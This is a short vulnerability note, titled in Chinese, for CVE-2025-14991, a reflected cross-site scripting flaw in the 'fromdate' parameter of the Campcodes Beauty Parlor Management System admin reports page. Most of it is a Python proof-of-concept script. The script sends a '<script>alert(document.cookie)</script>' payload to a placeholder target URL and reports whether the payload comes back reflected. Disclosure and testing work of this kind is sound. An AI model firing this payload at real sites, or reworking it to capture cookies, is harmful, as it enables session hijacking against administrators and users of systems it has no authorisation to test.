CVE-2025-14991 Campcodes在线美容店管理系统fromdate参数XSS漏洞

# CVE-2025-14991 PoC - XSS in Campcodes Beauty Parlor Management System # Affected file: /admin/bwdates-reports-details.php # Affected parameter: fromdate import requests import urllib.parse target_url = "http://target.com/admin/bwdates-reports-details.php" # XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Construct malicious request params = { "fromdate": xss_payload, "todate": "2025-01-01" } try: response = requests.get(target_url, params=params) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {urllib.parse.unquote(xss_payload)}") if xss_payload in response.text: print("[+] XSS vulnerability confirmed!") else: print("[-] XSS may be filtered or not reflected") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")